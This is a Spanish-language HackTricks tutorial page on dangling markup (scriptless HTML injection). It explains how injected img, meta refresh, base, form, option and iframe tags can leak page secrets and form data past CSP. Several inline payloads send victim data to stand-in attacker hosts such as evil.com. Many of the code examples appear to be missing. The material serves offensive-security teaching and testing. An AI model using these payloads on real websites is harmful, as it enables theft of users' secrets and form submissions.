Dangling Markup - HTML scriptless injection
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Esta técnica se puede usar para extraer información de un usuario cuando se encuentra una inyección HTML. Esto es muy útil si no encuentras ninguna forma de explotar un XSS pero puedes inyectar algunas etiquetas HTML. También es útil si algún secreto se guarda en texto claro en el HTML y deseas exfiltrarlo del cliente, o si deseas desviar la ejecución de algún script.
Varias técnicas comentadas aquí se pueden usar para eludir alguna Content Security Policy al exfiltrar información de maneras inesperadas (etiquetas html, CSS, etiquetas meta http, formularios, base...).
Si inyectas <img src='http://evil.com/log.cgi? cuando se carga la página, la víctima te enviará todo el código entre la etiqueta img inyectada y la siguiente comilla dentro del código. Si un secreto se encuentra de alguna manera en ese fragmento, lo robarás (puedes hacer lo mismo usando una comilla doble, observa cuál podría ser más interesante de usar).
Si la etiqueta img está prohibida (debido a CSP, por ejemplo), también puedes usar <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
Note que Chrome bloquea las URL HTTP con "<" o "\n" en ellas, así que podrías intentar otros esquemas de protocolo como "ftp".
También puedes abusar de CSS @import (enviará todo el código hasta que encuentre un ";")
También podrías usar <table:
También podrías insertar una etiqueta <base. Toda la información se enviará hasta que se cierre la comilla, pero requiere alguna interacción del usuario (el usuario debe hacer clic en algún enlace, porque la etiqueta base habrá cambiado el dominio al que apunta el enlace):
Luego, los formularios que envían datos a la ruta (como <form action='update_profile.php'>) enviarán los datos al dominio malicioso.
Establecer un encabezado de formulario: <form action='http://evil.com/log_steal'> esto sobrescribirá el siguiente encabezado de formulario y todos los datos del formulario se enviarán al atacante.
El botón puede cambiar la URL a la que se enviará la información del formulario con el atributo "formaction":
Un atacante puede usar esto para robar la información.
Encuentra un ejemplo de este ataque en este informe.
Usando la técnica mencionada anteriormente para robar formularios (inyectando un nuevo encabezado de formulario) puedes luego inyectar un nuevo campo de entrada:
y este campo de entrada contendrá todo el contenido entre sus comillas dobles y la siguiente comilla doble en el HTML. Este ataque mezcla el "Stealing clear text secrets" con el "Stealing forms2".
Puedes hacer lo mismo inyectando un formulario y una etiqueta <option>. Todos los datos hasta que se encuentre un </option> cerrado serán enviados:
Puedes cambiar la ruta de un formulario e insertar nuevos valores para que se realice una acción inesperada:
<noscript></noscript> Es una etiqueta cuyo contenido será interpretado si el navegador no soporta javascript (puedes habilitar/deshabilitar Javascript en Chrome en chrome://settings/content/javascript).
Una forma de exfiltrar el contenido de la página web desde el punto de inyección hasta el final a un sitio controlado por el atacante será inyectar esto:
De esta investigación de portswiggers puedes aprender que incluso desde los entornos más restringidos por CSP aún puedes exfiltrar datos con algo de interacción del usuario. En esta ocasión vamos a usar la carga útil:
Note que le pedirás a la víctima que haga clic en un enlace que lo redirigirá a un payload controlado por ti. También ten en cuenta que el atributo target dentro de la etiqueta base contendrá contenido HTML hasta la próxima comilla simple.
Esto hará que el valor de window.name si se hace clic en el enlace sea todo ese contenido HTML. Por lo tanto, como controlas la página a la que la víctima accede al hacer clic en el enlace, puedes acceder a ese window.name y exfiltrar esos datos:
Inserte una nueva etiqueta con un id dentro del HTML que sobrescriba la siguiente y con un valor que afecte el flujo de un script. En este ejemplo, está seleccionando con quién se va a compartir una información:
Cree variables dentro del espacio de nombres de javascript insertando etiquetas HTML. Luego, esta variable afectará el flujo de la aplicación:
Si encuentras una interfaz JSONP, podrías ser capaz de llamar a una función arbitraria con datos arbitrarios:
O incluso puedes intentar ejecutar algún javascript:
Un documento hijo tiene la capacidad de ver y modificar la propiedad location de su padre, incluso en situaciones de origen cruzado. Esto permite la incrustación de un script dentro de un iframe que puede redirigir al cliente a una página arbitraria:
Esto se puede mitigar con algo como: sandbox=' allow-scripts allow-top-navigation'
Un iframe también puede ser abusado para filtrar información sensible de una página diferente usando el atributo name del iframe. Esto se debe a que puedes crear un iframe que se iframe a sí mismo abusando de la inyección HTML que hace que la información sensible aparezca dentro del atributo name del iframe y luego acceder a ese nombre desde el iframe inicial y filtrarlo.
Para más información, consulta https://portswigger.net/research/bypassing-csp-with-dangling-iframes
Puedes usar meta http-equiv para realizar varias acciones como establecer una Cookie: <meta http-equiv="Set-Cookie" Content="SESSID=1"> o realizar una redirección (en 5s en este caso): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Esto se puede evitar con un CSP respecto a http-equiv ( Content-Security-Policy: default-src 'self';, o Content-Security-Policy: http-equiv 'self';)
Puedes encontrar una investigación muy interesante sobre vulnerabilidades explotables de la etiqueta <portal aquí.
En el momento de escribir esto, necesitas habilitar la etiqueta portal en Chrome en chrome://flags/#enable-portals o no funcionará.
No todas las formas de filtrar conectividad en HTML serán útiles para Dangling Markup, pero a veces podrían ayudar. Revísalas aquí: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
Esto es una mezcla entre dangling markup y XS-Leaks. Por un lado, la vulnerabilidad permite inyectar HTML (pero no JS) en una página de la misma origen de la que estaremos atacando. Por otro lado, no atacaremos directamente la página donde podemos inyectar HTML, sino otra página.
SS-LeaksXS-Search está orientado a exfiltrar información de origen cruzado abusando de ataques de canal lateral. Por lo tanto, es una técnica diferente a Dangling Markup, sin embargo, algunas de las técnicas abusan de la inclusión de etiquetas HTML (con y sin ejecución de JS), como CSS Injection o Lazy Load Images.
XS-Search/XS-LeaksLearn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
